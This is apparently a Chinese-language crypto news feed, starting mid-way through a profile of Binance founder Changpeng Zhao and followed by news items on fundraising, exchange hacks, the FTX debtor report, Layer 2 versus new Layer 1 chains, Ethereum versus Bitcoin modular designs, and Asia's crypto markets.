在马耳他的时期也很短暂，币安宣布将不再寻找新的总部地点，而是无总部运营。有一段时间，币安的去中心化程度如此之高，以至于赵长鹏似乎出于有所意图和目的而脱离了网络。2021年，币安的一个对手在美国就取消上市代币一事起诉币安。原告雇佣了一名私家侦探来寻找赵长鹏。在关于调查结果的报告中，私家侦探表示，他的团队已经做出了“极大的”努力来追踪赵长鹏，但未能成功，他怀疑币安雇佣了其他人来掩盖赵长鹏的过去和行踪，使他“几乎无法被发现”。最近，《财富》杂志联系到这位私家侦探，他证实报告中的言论是准确的。（该诉讼最终被驳回。）直到2022年，赵长鹏才在迪拜露面，那里几乎没有对加密货币交易的限制。 币安的迁徙方式在加密货币信仰者中受到了赞誉，这些信仰者痴迷于去中心化。不出所料，这让其他国家的监管机构感到不满，他们认为币安是一个无法无天的离岸赌场。并非没有道理。在过去的三年里，已经曝光了币安从事一系列道德上可疑或可能完全犯罪的行为。其中包括宽松的“KYC”政策，这使得伊朗用户得以在币安的交易所上进行交易，尽管该国受到国际金融制裁；以及2018年一项未能实现的计划，该计划是在美国注册子公司，根据提出这个计划的币安高管所说，其目的是作为一个“regulatory sinkhole（监管污水池）”，分散美国监管机构对公司其他部分的注意力。 币安承认参与了可疑的策略，但表示已经摒弃了这些策略。今年2月，该公司声称即将与美国司法部和其他监管机构达成一项全面和解，解决过去的不当行为并规划未来道路。尽管美国商品期货交易委员会最近针对币安提起的诉讼引发了关于和解可行性的疑问。 与此同时，公司表示希望翻开新的一页，但监管机构对加密货币的普遍不信任使这一愿望变得复杂，尤其是在交易所FTX崩溃之后。 尽管正是赵长鹏的推文揭露了去年11月FTX的丑闻，但他表示，他和其他人一样对SBF犯下的欺诈行为感到惊讶——他曾认识SBF，并在FTX成立初期投资过这家公司。 在2020年至2022年初的加密货币繁荣期间，赵长鹏和SBF是这个领域的两位最具影响力的人物，他们的经历有一些明显的相似之处。最明显的是，他们都是学者的子女，尽管赵长鹏的父亲只是在大学界的边缘人物。相比之下，SBF则是斯坦福大学两位法学教授的儿子，在校园里拥有一栋漂亮的房子，过上了学术界最高层次的生活。 如今，这两个人的处境截然不同。SBF仍然住在父母的房子里，等待着一系列欺诈指控的审判，这可能会让他终身监禁。与此同时，赵长鹏早已成为一位父亲，他与币安的联合创始人何一已育有两个蹒跚学步的孩子。 很容易想象赵长鹏对竞争对手的特权和权利感到愤怒。SBF曾多次在推特上嘲笑他，包括在2022年夏天暗示赵长鹏一旦踏上美国领土就会被捕。（币安表示，赵长鹏近年来多次访问加拿大，包括参加父亲的葬礼，但在那里保持了非常低调的生活方式。）但赵长鹏声称，他对这位曾经的竞争对手并无个人恩怨。 赵长鹏表示：“他对我来说就像那些聪明、有才华但非常有进攻性的年轻孩子。”他告诉《财富》杂志，他与SBF见过三到五次，主要把他视为客户，因为后者的 Alameda 对冲基金曾使用币安作为交易平台。 截至4月中旬，币安似乎已经度过了加密市场崩溃（在FTX瓦解之后）和监管机构越来越积极地追击公司的双重困境。尽管其财务状况仍然是一个黑匣子，但区块链数据显示，币安近几个月来从竞争对手那里获得了市场份额，其交易量和收入可能也在增加，这可能是由于比特币和其他加密货币价格的反弹。 与此同时，赵长鹏继续坚持他和他的公司是去中心化的，不属于任何国家。从这个角度来看，他已经超越了中国、加拿大以及其他国家的影响，成为了一个真正无国籍的个体。 然而，环游世界的加密货币巨头赵长鹏仍然是一个普通人；就像我们其他人一样，他永远无法完全摆脱他来自何处以及塑造他的力量。对于赵长鹏来说，这些力量可能与地理位置关系不大，而更多地与家庭有关。 赵长鹏的英语并不完美，从他的 Twitter 动态就可以看得出来。他从未掌握北美惯用语——例如，他去年称“ MLB umpires（MLB 裁判）”为“baseball referees（棒球裁判）”。但他的谦虚和体贴感觉很像加拿大人。在 30 分钟的采访过程中，他的言谈举止表明——尽管他的新身份是在迪拜拿着便笺四处游荡的亿万富翁——他的身体内仍有 30 年前在温哥华麦当劳吃薯条的少年。 尽管如此，还是很难确定究竟是什么在驱使他前进。加密仍是一个前沿行业，每个主要参与者，包括 Coinbase 等老牌机构，都尽量在用“狡猾”的策略来获得优势或只是为了生存。尽管币安最近承诺要“步入正轨”，但它可能比大多数竞争对手距离法律更遥远。 尽管如此，当被问及在温哥华长大时是否学会了违反规则时，赵长鹏否认：“我一直是一个相当亲近、守规矩的公民……我的性格总是保守的，尽管人们可能不这么想，”但他表示，加密货币的文化改变了他的看法：“然后你会发现，这个新事物在不同的地方有不同的规则。因此，与其说我们想改变规则甚至避免规则，不如说我们只是想寻找更有利的地方。” 这个论点在某些方面具有说服力，但也让人觉得是为币安的自身利益量身定制的。赵长鹏显然已经能够找到规则即对他和币安最有利的地方，也可以说没有规则。这与他的父亲形成鲜明对比，他的父亲则遵循着不同时代的规则。 加拿大安大略省 GeoTech 公司的地球物理学家 Jean Legault 根据行业大佬的推荐聘请了赵长鹏的父亲 Shengkai Zhao，他曾和 Shengkai共事六年。Legault 记得 Shengkai 是一位杰出的地球物理学家，具有非凡的技术头脑。Shengkai 编写了原始代码，使 GeoTech 能够使用软件创建地球物理数据的 3D 反演，这对工程师来说是一个非常宝贵的工具。公司至今仍在使用他的用户手册。Legault 补充说，“后来也曾请其他地球物理学家做同样的工作，但他们没办法复制Shengkai，他是个非常优秀的人。” Legault 认为，Shengkai 就像为工作而活，他本可以在学术界或商业界达到顶峰，但其为人实在过于谦逊了。Shengkai 从不吹嘘自己的知识或成就。赵长鹏对此表示赞同，他告诉《财富》杂志，父亲在文化大革命时期开始了他的职业生涯，英语水平很差，也从未经商，“他很难把他解决的问题商业化”，因此父亲从来没有赚过什么钱。 赵长鹏回忆说，他看着父亲从早到晚在实验室或台式机上研究复杂的数学方程式。但尽管如此，历史力量和作为移民的变化，意味着 Shengkai 只能在学术界的边缘耕耘，永远无法享受到如果他出生在不同的时间或地点就能赢得的声望。 但儿子赵长鹏受到了移民带来的影响，币安帝国的成功或许是赵长鹏替父亲完成了此前永远无法实现的命运。 Shengkai 在去年死于白血病。想起他，赵长鹏的语气带着几分惋惜，仿佛想起了自己的少年时代。“我父亲整天都在他的实验室和电脑上度过，他从未参加过我的任何一场排球比赛。我当时是队长，每周打两场比赛，但我的父母从来没有看过一场比赛。” 富爸爸和穷爸爸的共同之处，或许是对工作的专注。即使对于亿万富翁来说，这种品质也是有代价的。赵长鹏担心，在他自己作为父亲的角色中，他可能会“沿袭”自己父母的这种“疏忽”。“我确实有这种特质，”他说。  ( 2 min )
    CryptoGPT以2.5亿美元的估值从DWF Labs筹集1000万美元
    PANews 4月10日消息，据The Block报道，专注于人工智能的ZK Layer 2 区块链 CryptoGPT 宣布以 2.5 亿美元的代币估值从 DWF Labs 筹集 1000 万美元。作为交易的一部分，同时也是做市商的 web3 投资公司 DWF Labs 也将为 CryptoGPT 的 GPT 代币做市。 CryptoGPT 联合创始人兼首席技术官 Dejan Erja 表示，到目前为止，DWF Labs 仅投资了总额中的 420,000 美元。Erja 说，DWF Labs 上周开始投资，剩余金额将在 285 天内投入。DWF Labs 遵循其代币经济学中概述的归属时间表。投资在 285 天内完成，与这些代币的归属保持一致。通过 DWF 的投资，CryptoGPT 的目标是扩大其开发团队，使其从目前的 22 人扩大到亚洲。CryptoGPT 上个月通过公开发售 DAO Maker 在一轮代币融资中筹集了 300 万美元。 CryptoGPT 最近推出了一个专注于 Web3 的 AI 助手“Alex”，并正在开发其 ZK rollup layer 2 区块链和一个数据到 AI 引擎，该引擎为商业应用程序收集、加密和传输数据。  ( 2 min )
    PA日报 | 香港将成立Web3.0协会；韩国加密交易所Gdac遭到黑客攻击，损失近1300万美元
    今日要闻提示： 1.香港将成立Web3.0协会和Web3Hub基金 2.韩国加密货币交易所Gdac周日遭到黑客攻击，损失近1300万美元 3.Terraport项目疑似遭遇攻击，损失近400万美元 4.SushiSwap主厨：已确认从CoffeeBabe追回超300 ETH的Sifu被盗资金 5.Mysten Labs联创：SUI没有空投或永远不会有，请谨防诈骗 6.FTX债务人发布第一份报告，讨论前管理层的控制失误 7.Web3 NFT游戏平台Gameta完成500万美元种子轮融资，Binance Labs等参投 8.Tether CTO：公司一季度利润已超7亿美元 监管消息 美联储：FedNow与数字货币无关，尚未决定发行CBDC 美联储在官网发文解答了关于实时支付系统FedNow的常见问题。美联储表示，FedNow不是CBDC，FedNow与数字货币无关。FedNow是美联储为银行和信用合作社提供的一项支付服务。它类似于美联储的其他支付服务，如Fedwire和FedACH。FedNow服务既不是一种货币形式，也不是消除包括现金在内的任何支付形式的一步。FedNow服务是美联储提供的即时支付服务，于2023年7月推出。美联储尚未决定发行CBDC。如果没有国会和行政部门的明确支持，最好是以具体授权法律的形式，美联储也不会发行CBDC。CBDC不会取代现金或其他支付方式。 香港将成立Web3.0协会和Web3Hub基金 据香港新闻网报道，香港Web3.0协会将于11日正式成立，协会组成人员包括中国移动香港董事长李锋、中国工程院院士陈纯、以及香港科技创新界立法会议员邱达根等，旨在推动Web3.0在港健康可持续地发展，给特区政府提供政策方向，同时吸引行业精英来港。除了相关协会之外，香港还将设立Web3Hub基金，支持更多海外Web3.0企业落户香港。 NFT 项目动态 韩国加密货币交易所Gdac周日遭到黑客攻击，损失近1300万美元 韩国加密货币交易所 Gdac 今日在其官网表示周日遭到黑客攻击，损失近 1300 万美元。4 月 9 日，黑客将近 1300 万美元（占其总托管资产的 23％）从 Gdac 热钱包转移到一个身份不明的钱包。黑客窃取了近 61 个比特币（BTC）、350.5 个以太币（ETH）、1000 万个 wemix 代币（WEMIX）和 220,000 个 USDT。Gdac 表示已将黑客攻击事件通知当局，并正在努力追回资金。 FTX债务人发布第一份报告，讨论前管理层的控制失误 FTX及其债务人发布了第一份报告，确定并讨论了FTX集团前管理层在关键领域的的控制失误，包括管理和治理、财务和会计、数字资产管理、信息安全和网络安全。FTX信任首席执行官 John J. Ray III 表示，我们发现 FTX Group 未能在对保护现金和加密资产至关重要的领域实施适当控制。FTX Group 被一小群人严格控制，他们谎称负责任地管理 FTX Group，但实际上对建立监督或实施适当的控制框架并不关心。我们正在继续努力审查导致FTX崩溃的事件，并帮助债权人恢复尽可能多的资产。 根据该报告，2019年7月31日，FTX前工程总监Nishad Singh更改了代码库，允许Alameda从FTX提取无限量的加密资产；一周后对其进行了修改，使Alameda免于自动清算，FTX集团将几乎所有加密资产都保存在热钱包中（SBF谎称使用冷钱包）。 目前债权人已收回并保管超过14亿美元的数字资产，并已确定另外17亿美元的数字资产并正在追回过程中（FTX的总负债约为120亿美元）。 Mysten Labs联创：SUI没有空投或永远不会有，请谨防诈骗 针对一推特用户发表的“如何赚取SUI空投”的一系列推文，Sui开发团队Mysten Labs联合创始人兼首席产品官Adeniyi Abiodun表示：“别再传播谣言了，没有SUI空投。没有此类计划或永远不会有空投。” Terraport项目疑似遭遇攻击，损失近400万美元 据The Crypto Basic报道，Terra Classic独立开发团队TerraCVita推出的去中心化金融项目Terraport遭到黑客攻击，其所有流动性都被耗尽。Terra Finder数据显示，价值近400万美元的LUNC、USTC和TERRA代币已被清空。攻击者在第一笔交易中提取了9,148,426枚TERRA和151亿枚LUNC，并在第二笔交易中提取了576,736枚TERRA和5,487,381枚USTC。 Terraport智能合约目前持有价值362美元的280万枚LUNC。截至发稿时，TerraCVita和Terraport团队尚未发表任何官方声明，这引发了人们猜测这可能是黑客攻击或精心设计的Rug Pull计划。 TerraCVita核心团队成员Classy Crypto在推特上证实了此次攻击事件，但其与该事件保持距离，称其没有获得任何代币或补偿，且他的亲戚因此事件损失了数千美元。他还删除了之前所有关于Terraport的推文，并在推特简介中删除与TerraCVita的从属关系。 币安首席执行官CZ随后发推表示，经币安团队审核交易分析，Terraport被盗资金并未存入币安，并检测到部分被盗资金已被存入MEXC和KuCoin。 SushiSwap主厨：已确认从CoffeeBabe追回超300 ETH的Sifu被盗资金 SushiSwap主厨Jared Grey在社交媒体再次呼吁尽快撤销RouteProcessor 2的合约错误批准，还透露恢复工作正在进行中，目前已经在白帽安全流程中保护了大部分受影响的资金且用户可以与SushiSwap安全团队联系。SushiSwap已确认从CoffeeBabe追回了300多枚ETH的Sifu被盗资金，正在正就700 ETH的问题与Lido团队联系。 此外，SushiSwap首席技术官Matthew Lilley在社交媒体澄清SushiSwap协议和UI没有风险，所有RouterProcessor2合约问题都已从前端移除，所有LPing/当前交换活动都可以安全进行，SushiSwap将在资金可用时继续监控/救援资金，白帽救援地址为：0x74Ebb8e8d0B0cc65F06040EB0f77B5DA0e33fFeE。 融资消息 Web3 NFT游戏平台Gameta完成500万美元种子轮融资，Binance Labs等参投 据官方博客，Web3 NFT游戏平台Gameta宣布完成500万美元的种子轮投资，Binance Labs、Huobi Ventures、Arcane Capital、Ceras Ventures、Start VC、Gate.io Labs、W3Coins、Redline Dao、DefinanceX、Rana Capital和Infinity Labs参投。Gameta将使用本次融资加快其游戏生态系统、代币和NFT体系建设，并扩大其用户群。 据悉，Gameta是一个多层NFT游戏生态系统，为玩家提供Web3游戏和娱乐体验。在其最新NFT游戏Hippo Dash中，Gameta建立了让用户可以进行游戏、社交、经验共享以及Web3资产互动的Hippo Club NFT系统。根据官方介绍，该项目目前在BNB Chain上活跃用户中排名第一，也是Binance Labs的Most Valuable Builder孵化营获奖者。 重要数据 Tether CTO：公司一季度利润已超7亿美元 Tether首席技术官Paolo Ardoino今日在推特上表示，公司今年第一季度的利润已超过7亿美元。 孙宇晨：火必Q1实现1.5亿美元收入，录得3000万美元盈利 孙宇晨发推称，火必集团一季度实现 1.5 亿美元收入，支出为 1.2 亿美元，录得 3000 万美元盈利。此外，孙宇晨预测火必二季度收入将为 1.87 亿美元，支出将为 7600 万美元，并实现 1.11 亿美元季度盈利。孙宇晨表示，火必一季度采取大量降本增效的措施，交易所业务处于整合状态。  ( 2 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.10）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    韩国加密货币交易所Gdac周日遭到黑客攻击，损失近1300万美元
    PANews 4月10日消息，韩国加密货币交易所 Gdac 今日在其官网表示周日遭到黑客攻击，损失近 1300 万美元。4 月 9 日，黑客将近 1300 万美元（占其总托管资产的 23％）从 Gdac 热钱包转移到一个身份不明的钱包。黑客窃取了近 61 个比特币（BTC）、350.5 个以太币（ETH）、1000 万个 wemix 代币（WEMIX）和 220,000 个 USDT。Gdac 表示已将黑客攻击事件通知当局，并正在努力追回资金。  ( 1 min )
    Layer2攻城掠地，新Layer1还有机会吗？
    作者：大圣Web3 出品：白话区块链（ID：hellobtc） 3月份，随着龙头Layer2协议Arbitrum治理ToKen发行和发放掀起社区狂欢，同时相关Layer2生态持续爆火。 而新公链的叙事依旧亮眼，由 Meta 前员工打造的 Aptos，Sui 等新公链还未出世就引发一众顶级投资机构关注。Aptos 于 2022 年 10 月推出，APT 上线当天的估值高达 130 亿美元。在2023年1月份，Aptos更是以459%的涨幅领涨加密反弹，令人震惊。 当下情况下，Layer2 和新公链发展现状如何？究竟哪一方会最终赢得胜利呢？以下我们将根据所解决问题、生态建设和应用场景、技术架构、性能表现、社区和治理机制等方面来对新公链和Layer2进行分析对比。 在此之前，我们先来了解新公链和layer2 主要解决哪些问题。 众所周知，区块链世界一直存在“不可能三角”的难题，即在一条区块链上去中心化、安全性，可扩展性三者不能同时实现。 以太坊解决了去中心化和安全性的问题，但是扩展性不足，TPS 较低，运行效率不足。上一轮牛市爆发的 Solana 等新公链，扩展性强，去中心化较好，但出现频繁宕机事件，安全性令人质疑。 为此，无论是 Layer2 还是 Aptos、Sui 等新公链都在“不可能三角上”不断做优化，推动区块链世界前行。 Layer 2 是一系列链下扩展性解决方案的总称，目前谈到 Layer 2 更多是以太坊的 Layer 2，所以下文所有的描述都是以以太坊的 Layer 2 为准。 Layer 2 以减少基础层（ETH 主网）负担的方式来处理数据，通过将主链的部分数据处理转移到Layer 2 上，从而增强整个网络的可扩展性。 处理效率 TPS 是衡量公链性能的重要指标，TPS（transactions per second）是指一个网络每秒钟能够处理的数量，TPS 越高，代表公链效率越高。 ETH 主网的 TPS 大致在每秒 15 笔左右，Arbitrum 的 TPS 近期最高达到每秒 100 笔，TPS 略有提升(欧科云链数据）。 Aptos 的 TPS 官方在最终文档中宣称可以达到每秒 10 万+，但目前根据 Aptos 区块链浏览器数据，当下的 TPS 为每秒 10 笔左右，后续关注 TPS 是否会有所提升。 Solana 的 TPS 大致在每秒 2000+，属于高性能公链。 在生态建设方面，Layer2 是更胜一筹。 根据defillama 数据，如下图所示为 TVL 在各区块链占比，目前龙头 layer 协议 Arbitrum 占比 4.36%，Optimism 占比 1.81%，但新公链 Aptos 占比极小，没有单独列出。 在总览中可以看到 Aptos 排名 39，锁仓量只有3600 万美元左右，而 Arbitrum 排名第四，锁仓量有22亿美元左右，Arbitrum 锁仓量大致有 Aptos 的 60 倍，差距不可谓不大。即使是前两年大火的 solana 也只有2.86亿美元，只有 Arbitrum 的八分之一。 论应用场景中的知名项目，Arbitrum 生态中的很多项目都耳熟能详。如在前文中盘点过的衍生品 Dex 协议 GMX、GNS，全链借代协议 RDNT，游戏生态 Treasue DAO 其Token目前都已上线Binance，既有热度，又有口碑，在项目机制上做出很大创新。期权协议 Dopex、Dex 协议 Camlot、GMX 乐高项目 GMD、jonesDao 等均为知名度较高的优质项目。 反观 Aptos 生态，可以说一个能打的都没有。虽然主网一上线就有众多项目加入，但大多为流水线作业的拼接项目。Aptos 对项目方的要求度较低，导致了大量的劣质项目充斥生态。时至今日，也有一些知名项目选择在 Aptos 上线，但链上原生的项目还没有很好的表现。 当然 Aptos 上线也只有半年的时间，后续或许在项目生态上还有转机，我们拭目以待。 Aptos、Sui 等新公链相对于之前 Solana 等主打性能的公链有一些创新。 Aptos 引入了 move 语言 目前公链开发最知名的有三种编程语言：1. Solidity；2. WASM；3. Move。 Move 相比于 Solidity，更灵活、更便捷；相比于 WASM，更专一、更安全。 Block-STM 智能合约并行执行引擎 智能合约执行一直是限制区块链吞吐量的主要瓶颈，当前的区块链要么是按照顺序执行，要么需要并行顺序执行（即没有内部冲突）来提高性能。 类似下图：以太坊是一条单车道的道路，所有的汽车都必须排成一条线。而 Solana 和 Aptos 都是四车道的高速公路，这显然加快了速度。Solana 上四条路都被安排好特定的车辆通行，车辆所选的道路固定，不能更换，而Aptos可以转移到其他道路，应对其他状况。这样增强了Aptos的可靠性，Aptos、Sui等有希望接替 Solana 形成新公链叙事。 Layer2 扩展解决方案包括 channel、rollup 和 plasma。目前最主流且应用广泛的是 rollup 方案。rollup 依赖于证明，允许以太坊在不处理交易的情况下验证其正确性。 rollup主要有两种类型：Zero-knowledge (ZK) rollup 和 Optimistic rollup。 Zero-knowledge rollup则使用零知识证明，可以做到实时交换。零知识证明的意思是，证明者能够在不向验证者提供任何有用信息的情况下，使验证者相信某个论断是正确的。 做个比方，房间的密码我有，但是又担心被旁边的人发现，那怎么向大家证明我确实掌握了这个密码，而又没有密码泄露的风险？ 现在就可以让验证者在房间里放一个做了标记的水杯，而我很顺利的拿到了那个有标记的水杯，这样就可以证明我确实有这个密码，也避免了我在输入密码的时候被旁边的人看到。 Optimistic rollup 使用欺诈证明。假设所有交易都是有效的，并设立一个挑战期，在此期间，任何人和节点都可以对数据进行质疑，然后将数据回滚至L1上，由主网来进行验证计算以判定真实性。 这就导致了一个很大的问题，从L1到L2的资产是可以实时到账的，但是要从L2回到L1就必须等到一周的时间，这个时间是退出期，也就是给验证所有节点提出质疑的时间。 这对于用户来讲就很不友好，转个账要等一周时间，相信谁都会抓狂。 Layer2采用的rollup技术分布情况，来源：L2beat 目前 Optimistic 方案占据上风，与 EVM 兼容性更好，代表项目为已经发Token的 Arbitrum 和 Optimism。 但ZK系列更受以太坊创始人 V 神青睐，同时安全性，隐私性更强。目前受限于 EVM 兼容度，开发难度较大，当下知名度较高的是 Zksync 和 Starknet 等协议。 总体来说 layer2 解决了扩展性的问题，提升了运行效率，但也存在各 layer2 解决方案之间互操作性不强，流动性割裂的问题。 Layer2 作为 ETH 的扩展层，依旧使用 ETH 作为 gas 消耗Token，但发行治理Token作为项目发展和治理的通证，持有者一般通过质押行使投票权，共同参与 DAO 组织的治理和项目发展决策的制定。 但近期 Layer2 协议 arbitrum 的社区治理的不透明引发市场热议。事件可以追溯到 ARB 空投狂欢之后的几天。 3 月 28 日，Arbitrum 社区发起 Arbitrum Improvement Proposal 1 (AIP-1)提案投票，拟引入一个名为 ArbitrumDAO 的去中心化自治组织结构，该组织由 ARB 持有者管理 Arbitrum 基金会，并为 ArbitrumDAO 社区服务。 提案提到了资金拨款 7.5 亿枚 ARB（价值约超 10 亿美元）给 Lemma，Lemma 是 Arbitrum 基金会的服务提供商。看起来并没有什么不妥，但社区成员发现 Arbitrum 基金会已经事先创建了一个地址，并且收到近 7 亿枚 ARB 。 此事立刻在社区中炸开了锅，之后官方更是宣称此提案只是告知已经做出的决定。最后提案最终得到了 82.56%的反对票。迫于压力，官方重新拆解 AIP-1 提案，发起了修正版的提案。4月9日，社区发起AIP1.05提案热度检查投票，提议Arbitrum基金会将7亿枚ARB返还给DAO Treasury，投票将于4月15日结束，目前有51.64%投票赞成。 但无论如何我们可以看到当下 Arbitrum 治理透明度较差，社区治理有待提升。 Aptos 等新公链社区治理维持稳定，中规中矩。 总体来说，目前的项目发展 layer2 占有较大优势，同时依靠 ETH 形成的多链体系，使得 layer2 形成一个强大的整体。但无论是 Aptos，还是 Sui 还是单链运行，加上一直没有优质的项目出圈，若不能够加快步伐，差距可能会越来越大。 当然 Aptos、Sui 等新公链作为明星团队和资本强力支持的项目，同时 Aptos 是第一条以 move 为编程语言的公链，有它的优势。对于新兴概念，可以给一些时间。 以 Aptos 为首的新公链和 layer2 到底哪一方有更好的未来？你怎么看，欢迎在评论区交流。 END  ( 3 min )
    孙宇晨：火必Q1实现1.5亿美元收入，录得3000万美元盈利
    PANews 4月10日消息，孙宇晨发推称，火必集团一季度实现 1.5 亿美元收入，支出为 1.2 亿美元，录得 3000 万美元盈利。此外，孙宇晨预测火必二季度收入将为 1.87 亿美元，支出将为 7600 万美元，并实现 1.11 亿美元季度盈利。孙宇晨表示，火必一季度采取大量降本增效的措施，交易所业务处于整合状态。  ( 1 min )
    漫谈以太坊：终于碰到强大对手了？
    主流媒体认为 ETH 未来定将超越 BTC，ETH 的社区强大的无法被击败的观点是作者不能认可的。 指的不是那些所谓的新公链可以替代 ETH，很多同学还是有疑问，尝试用大白话把其中的结构理清楚，毋庸置疑的 ETH 本身是非常非常好的项目。 但 ETH 这次对手是 ETH 的老师们在 BTC 上的组合拳，下面具体说说。 V神早期也是想在比特币链上实现智能合约，btc core 并不认可这个方案才有了ETH，ETH的区块结构，共识早期也都借鉴了BTC。 但链上去做智能合约的计算真的是好的方向吗？ 链要跑共识机制，计算能力有限，所以ETH也转移了方向，改方向为区块生成是中心化的（链下计算），验证是去信任的和高度去中心化的，这点V神在 「Endgame」中也提到了 。（W3 译文版：「Endgame」） ETH 的升级路线其实是很曲折的，V 神也并不是真的神，也有很多错的地方，早期 V 神还认为 Plasma 是未来方向，ETH 要支持分片链让 ETH 实现百万级的 TPS 等说法都被 V 神自身抛弃，最终 ETH 的选择是模块化的路线，去年的 ETH 升级其实就是共识层与执行层分离，未来的 EIP-4844 升级就是实现以太坊的数据可用性层都是这个方向的升级。 其实这是借鉴的 Celestia 的创始人 Mustafa Al-Bassam 提出数据可用性，模块化区块链的方案，附上 Mustafa Al-Bassam 和 V 神在 18-19 年间写的论文： Mustafa Al-Bassam 现在做了自己模块化区块链项目，专门用来做数据可用性层的 celestia，Celestia 团队同时也为 btc 做了数据可用性这个项目就是 Rollkit。 Celestia 团队为对 Rollkit 的介绍文档：《Introducing Rollkit: a modular rollup framework》 关于模块化区块链的介绍，这里也再普及一次 主要分 4 层： 执行层：交易的执行，以及状态的更改将在这里发送，交易的排序也由执行层负责。（现有所有 Layer2 本身就是执行层） 数据可用性层：将验证状态迁移所需的交易数据发布，存储。数据可用性的确认，验证状态迁移所需的交易数据的确认，从而初步确认排序。（ETH 的 danksharding，Celestia，EigenLayer，Rollkit 目前都是做这一块） 结算层：验证最终执行结果以及解决争议。（ETH 本身链上的验证合约） 共识层：就状态转换，交易的有效性达成共识，从而提供状态的最终确定性。（ETH 的 POS，BTC 的 POW 共识等） 想深入学习模块化区块链和数据可用性可以研究我们团队翻译的Celestia 白皮书和合并后 ETH 信标链的文章。 以太坊未来的另一大主要方向就 zk 化，其实更精准应该是说有效证明，因为 zk 这个词更被大家所接受，就还是用 zk，这里的 zk 并不一定要零知识性，参考 ETH 最新的路线图，数据可用性采样，以太坊的数据结构 Verkle 树，Rollup 通通都在 zk 化。 Starkware 有诸多产品，比如 Starkex，Starknet，创始人 Eli 本身也是 zk 证明系统 Stark 的发明者，ETH 的 zk 化，Layer3 的布局，很大程度是借鉴了 Starkware 团队的思想。Starkware 团队开发的 Cairo 语言也在扎根 web3 世界，Cairo语言不仅仅可以做为智能合约，Cairo 更是第一个为通用计算创建可证明的图灵完备的语言，切入的市场和 ETH 的 Solidity 并不相同。Stark 本身比较复杂，也是最近研究较多的部分，后续会独立围绕这一块输出更具体的干货。 比特币的闪电网络 Lightning Labs 团队也尝试用 Stark 和 Cairo 这一套体系去改进 BTC，参考之前推文。 相关产品有 @ZeroSync_ 附上 Layer3 与 Stark 的参考资料： 还有一点值得提的 ETH 虽然也是模块化，但是ETH是啥都做，而且还想要实现兼容性，所以未来 ETH 升级的技术债务其实会比 BTC 这一套更多，例如 EVM 本身不适合 zk，部分 L2 还得牺牲效率去实现 zkEVM，抽象账户的升级等等，类似的技术债务还非常多，参考分析 ETH 升级路线以及 ETH 存在问题的分析的推文。 BTC 的共识不需要改，ETH 还得大改； BTC 的数据可用性由 Rollkit 团队负责； BTC + Stark 化由 Lightning Labs 团队搭建； BTC 本身可以计算, 是不支持通用性计算，BTC 作为结算层改进只需要添加支持可验证有效证明脚本就可, 不需要像 ETH 一样要支持通用性计算； BTC 执行层链下的计算不限制用 EVM，语言和框架也会多样化起来。类似抽象账户、EOF、zk 友好性等功能，新的执行层在一开始就可以设计好这些。 引用社区朋友的一句话： 由于主流媒体和各种自媒体的长期宣传，大部分人眼中的 BTC 已经固化了。一方面大家认为 BTC 只能干财富存储，电子黄金这样的事。形成了习惯性思维。另一方面，你会发现几乎没有币圈媒体大量报道基于 BTC 的技术发展，这可能是因为推广 BTC 没有利益可言。这可能也是一个机会。 总的来说 ETH 的老师们在 BTC 上的组合，能掀起什么样火花，是挺值得关注的，当然这一套的运行也是像 ETH 升级一样需要几年的时间去一步步迭代。 实现后未来的 L2，L3 们有两个大选择，选择共识更强，安全更高，组合性强的 BTC，还是选择社区更大，周边工具成熟，生态丰富，也在不断优化进步的 ETH。web3 的用户也是一样，你相信 BTC 还是 ETH 呢？ 终于 ETH 有了足够强大的对手。  ( 3 min )
    亚洲加密市场主要玩家一览
    原文标题：《A Primer of Asia's Crypto Landscape》 编译：Frank，Foresight News Foresight News 对报告原文进行了梳理，发布本篇概括报告主要观点的中文导读版本，以飨读者。 报告汇总了中国大陆、韩国和中国台湾地区的监管动向、Crypto 市场规模、人才和开发者状况、基础设施采用情况等内容，并搜集了横跨中国大陆多个城市和年龄段的 5000 多人的样本调查和另一项针对加密货币持有者的 1000 多人样本调查，同时，CoinNess 和 BlockTempo 分别在韩国和台湾进行了相应的样本调查，呈现的 Crypto 采用状况和趋势显示亚太地区有望成为未来 3-5 年加密货币行业增长的重要驱动力。 中国内地在 2017 年 9 月宣布首次代币发行（ICO）为非法集资活动、2021 年 5 月发布挖矿禁令、2021 年 9 月禁止所有加密货币交易。 而中国香港地区则在 2023 年开展了多项与加密货币相关的监管行动，其中两项主要政策尤为突出： 中国香港地区可以视为是中国内地未来加密监管的潜在沙盒，香港将是中国内地向全球扩张的桥梁。 韩国的大部分加密货币交易量都发生在 5 家被授权拥有银行账户的交易所（UpBit、Bithumb、CoinOne、Korbit 和 Gopax）上，银行允许其将韩元法币转换为加密货币，因此韩国 CEX 的稳定币对交易非常有限（譬如 USDT 占 Upbit 交易量的比例不到 1%）。 此外韩国正针对证券型代币发行（STO）制定相关法规。 台湾地区金融监督管理委员会（FSC）等监管部门将加密货币归类为投机商品。 FTX 事件导致台湾损失 17 亿至 21 亿美元，超 23.1 万台湾用户受到影响。 目前台湾地区三大虚拟资产监管机构的分工情况如下: 根据一项横跨中国大陆多个城市和年龄段的 5000 多人的样本调查 + 另一项针对加密货币持有者的 1000 多人样本调查，发现中国大陆 15 岁以上的人群中，只有 2.6% 的人拥有加密货币（86.0% 的人拥有期货、期权等加密衍生品交易经验）。 相比于美国、韩国和台湾等发达国家或地区的 10% 左右，中国在加密货币用户总量上仍有很大的增长空间。 韩国加密货币市场在很大程度上是由零售交易驱动的，交易量主要集中在 3 个交易所——Upbit、Bithumb 和 Coinone，其中 Upbit 在韩国交易所的市场份额为 82.24%，此外山寨币（即不包括 BTC 和 ETH 的加密货币）占据了韩国加密总交易量的 92.9%。 台湾地区加密交易量年增长率达到 31.5%，仅次于日本和蒙古，且 CEX 收到的加密货币中近一半（约 300 亿美元）为 DeFi 代币。 亚太地区有望成为未来 3-5 年加密货币行业增长的重要驱动力。 中国人民银行从 2019 年开始测试数字人民币，2021 年 4 月正式公测。由于中国的数字支付渗透率一直很高，截至目前数字人民币并没有获得主流的广泛采用。 韩国加密基础设施建设非常成熟： 但韩国在加密期货 ETF 等方面尚不成熟，暂未允许托管和合规的机构工具。 台湾地区的加密基础设施尚在建设中，包括其央行数字货币（CBDC）正在接受评估，预计 2026 年才能推出。 